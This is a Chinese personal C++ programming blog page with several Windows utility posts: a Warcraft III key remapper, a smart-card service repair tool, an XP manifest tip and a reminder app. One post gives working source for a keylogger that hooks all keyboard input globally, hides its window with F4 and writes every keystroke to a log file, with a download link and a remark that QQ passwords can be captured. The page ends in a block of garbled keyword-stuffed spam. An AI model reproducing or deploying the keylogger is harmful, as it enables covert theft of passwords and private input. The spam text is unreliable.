• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會(huì)晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評(píng)論 :: 0 Trackbacks

            置頂隨筆 #

            2月 完成對(duì)mfe rootkit專殺工具的完整逆向。
            3月 完成對(duì)snort的分析,寫出分析成果。
            posted @ 2012-02-16 15:01 Pencil.C++| 編輯 收藏

            2012年2月16日 #

            2月 完成對(duì)mfe rootkit專殺工具的完整逆向。
            3月 完成對(duì)snort的分析,寫出分析成果。
            posted @ 2012-02-16 15:01 Pencil.C++| 編輯 收藏

            2010年1月28日 #

                最近在研究反監(jiān)聽密碼框的開發(fā)。  做這個(gè)東西是為了測(cè)試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時(shí)還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監(jiān)聽到,但是不是明文。不知道它是怎么做到的。
                我也給這個(gè)工具做了個(gè)隱藏鍵 F4  。
                開發(fā)工具是VS2008  
                 


            鉤子回調(diào)函數(shù)中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進(jìn)入存儲(chǔ)程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://www.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted @ 2010-01-28 08:43 Pencil.C++ 閱讀(3607) | 評(píng)論 (9)編輯 收藏

            2010年1月15日 #

            辦理港澳通行證。200塊。

            機(jī)票一般1000/人。 來回2人4千塊。

            住宿  淘寶家庭旅館 50-100一晚。


            posted @ 2010-01-15 13:06 Pencil.C++ 閱讀(211) | 評(píng)論 (0)編輯 收藏

            2009年12月14日 #

                 摘要: 更新內(nèi)容:

            (1)使用全局WH_KEYBOARD_LL 無需使用dll文件。

            (2)智能判斷聊天模式,如果正在聊天,則取消改鍵。

            (3)改鍵功能只針對(duì)war3,不影響其他程序。

            (4)支持托盤。

            (5)支持1.24版  閱讀全文
            posted @ 2009-12-14 12:35 Pencil.C++ 閱讀(4099) | 評(píng)論 (5)編輯 收藏

            2009年12月7日 #

            程序有英語 簡體中文 兩種語言,根據(jù)操作系統(tǒng)環(huán)境來選擇language.
                  代碼下載:http://bilaopao.download.csdn.net/
                  開發(fā)工具:VS 2008

             修復(fù)過程分【普通修復(fù)】和【強(qiáng)力修復(fù)】。
               XP和VISTA/WIN7下的修復(fù)操作還是有很多區(qū)別的。但基于的原理是一樣的。 并且因?yàn)閂ista/Win7下的Smart Card 服務(wù)的scardsvr.exe可執(zhí)行文件被更改為scardsvr.dll,也就沒有了scardsvr的相關(guān)安裝命令。我用dependency查看了下scardsvr.dll,只能看到一個(gè)入口函數(shù)。能力有限,google了一些資料也沒有結(jié)果。就沒分析下去了。

               【普通修復(fù)】的修復(fù)過程(以XP下的修復(fù)過程講述,vista/win7下操作請(qǐng)看代碼):
            (1)檢查"智能卡服務(wù)"是否為自啟動(dòng)。并設(shè)置其為自啟動(dòng)。
            (2)檢測(cè)服務(wù)當(dāng)前狀態(tài)是否為SERVICE_RUNNING,并設(shè)置其狀態(tài)為運(yùn)行中。
            (3)檢測(cè)前兩步是否成功,如果成功則向用戶彈出messagebox詢問moveable device功能是否正常。
            (4)如果功能仍abnormal,則初步判斷是服務(wù)登陸賬戶為非"NT AUTHORITY\LocalService" ,則用CreateProcess來運(yùn)行 sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""    ,改變其用戶為localservice(smart card service只有在此登陸賬戶下才正常運(yùn)行)。

            (5)如果在普通修復(fù)過程中遇到服務(wù)查詢不到等error時(shí),程序自動(dòng)啟動(dòng)強(qiáng)力修復(fù)來安裝smart card service.

            注意:普通修復(fù)中的第3,4步中有點(diǎn)問題,在這個(gè)地方其實(shí)最好是直接檢查服務(wù)的登陸賬戶。然后做出相應(yīng)的動(dòng)作,但是我這個(gè)地方?jīng)]有想到實(shí)現(xiàn)的辦法。望前輩提示。另外就是sc的命令格式有嚴(yán)格的限制,編碼的時(shí)候要注意等號(hào)后面首先是空格。我當(dāng)時(shí)被這個(gè)空格困擾到了。

                【強(qiáng)力修復(fù)】的修復(fù)過程(XP下的修復(fù),vista/win7 下沒有強(qiáng)力修復(fù))
            其實(shí)強(qiáng)力修復(fù)的過程就是網(wǎng)上流傳的那個(gè)修復(fù)過程,我只不過在這個(gè)修復(fù)過程中增加了驗(yàn)證和配置修改。
            修復(fù)過程:
            (1)ScardSvr.exe reinstall
            (2)regsvr32.exe SCardssp.dll
            (3)sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
            (4)通過以上三步之后,剩下的配置修改就跟普通修復(fù)過程一樣了。而以上三步通過CreateProcess和WaitForSingleObject來配合控制。

            應(yīng)該差不多了。代碼是半個(gè)月前寫的,一些地方可能有疏漏。
            在代碼實(shí)現(xiàn)中還有很多地方需要注意,我也都在代碼中做出了注釋。可自行查看。

            如需交流,可mailto:pencil@yeah.net  MSN:pencil@yeah.net

             

            posted @ 2009-12-07 20:40 Pencil.C++ 閱讀(1737) | 評(píng)論 (0)編輯 收藏

            2009年11月19日 #

            今天看改鍵助手的界面太難看,就想換成xp默認(rèn)風(fēng)格,方法如下。

            manifest文件內(nèi)容,將這個(gè)manifest文件命名為Exe名+.manifest, 如test.exe.manifest

             1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
             2<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
             3<assemblyIdentity
             4name="XP style manifest"
             5processorArchitecture="x86"
             6version="1.0.0.0"
             7type="win32"/>
             8<dependency>
             9<dependentAssembly>
            10    <assemblyIdentity
            11      type="win32"
            12      name="Microsoft.Windows.Common-Controls"
            13      version="6.0.0.0"
            14      processorArchitecture="x86"
            15      publicKeyToken="6595b64144ccf1df"
            16      language="*"
            17    />
            18</dependentAssembly>
            19</dependency>
            20</assembly>

            然后用mt.exe綁定 (mt.exe是VS自帶的一個(gè)工具。可以搜索下。)

            Mt.exe –mainfest test.exe.manifest –outputresource:test.exe;1

            1是這個(gè)manifest資源的ID.可以有多個(gè)manifest資源,但是vista默認(rèn)使用1。其他的要自己編碼來玩。
            posted @ 2009-11-19 10:16 Pencil.C++ 閱讀(469) | 評(píng)論 (0)編輯 收藏

            2009年11月6日 #

            大概的功能就是日期提醒,把通訊錄和日期提醒相結(jié)合。

            提醒方面做的很差,技術(shù)有限。

            皮膚用的是Skin++

            第一次發(fā),但之前修改過幾次,目前版本0.7

            做這個(gè)東西完全是因?yàn)槲覀€(gè)人需要。

            是一個(gè)多用戶的工具。

            有自動(dòng)升級(jí)功能。

            應(yīng)用范圍很窄。

            下載地址:http://www.shnenglu.com/Files/pencil/GoodFriendV0.7.rar

            源代碼下載:http://www.shnenglu.com/Files/pencil/GoodFriend0.7.src.rar

            posted @ 2009-11-06 13:17 Pencil.C++ 閱讀(373) | 評(píng)論 (0)編輯 收藏

            2009年9月27日 #

                 摘要:   閱讀全文
            posted @ 2009-09-27 20:17 Pencil.C++ 閱讀(1275) | 評(píng)論 (0)編輯 收藏

                 摘要:   閱讀全文
            posted @ 2009-09-27 20:14 Pencil.C++ 閱讀(5723) | 評(píng)論 (0)編輯 收藏

            界面和功能我之前幾個(gè)帖子發(fā)過,就不重復(fù)了,感興趣的拿去,有一些問題沒有解決,交流下。

            http://www.shnenglu.com/Files/pencil/zhen3Helper.src.rar

            posted @ 2009-09-27 01:17 Pencil.C++ 閱讀(2838) | 評(píng)論 (7)編輯 收藏

            僅列出標(biāo)題  下一頁
            国产成人久久精品一区二区三区| 久久这里只有精品首页| 久久99久久成人免费播放| 中文字幕精品久久| 久久久噜噜噜www成人网| 国产福利电影一区二区三区久久老子无码午夜伦不 | 伊人丁香狠狠色综合久久| 久久精品国产WWW456C0M| 亚洲va中文字幕无码久久| 国产精品成人99久久久久91gav| 2021国产精品午夜久久| 18岁日韩内射颜射午夜久久成人 | 国产精品久久久福利| 色婷婷久久久SWAG精品| 久久婷婷综合中文字幕| 精品久久久中文字幕人妻| 久久综合九色综合97_久久久 | 品成人欧美大片久久国产欧美... 品成人欧美大片久久国产欧美 | 88久久精品无码一区二区毛片 | 91精品无码久久久久久五月天| 精品久久久久久久国产潘金莲| 国产精久久一区二区三区| 午夜精品久久久久久中宇| 婷婷久久综合九色综合绿巨人| 亚洲国产成人久久精品动漫| 少妇久久久久久被弄高潮| 久久婷婷国产剧情内射白浆 | 亚洲&#228;v永久无码精品天堂久久| av色综合久久天堂av色综合在| 色8激情欧美成人久久综合电| 爱做久久久久久| 日韩精品国产自在久久现线拍| 久久久久免费看成人影片| 亚洲中文精品久久久久久不卡| 伊人 久久 精品| 无码任你躁久久久久久老妇App| 久久激情五月丁香伊人| 久久精品国产精品亚洲艾草网美妙| 伊人久久综在合线亚洲2019| 欧美精品一本久久男人的天堂| 99久久人妻无码精品系列|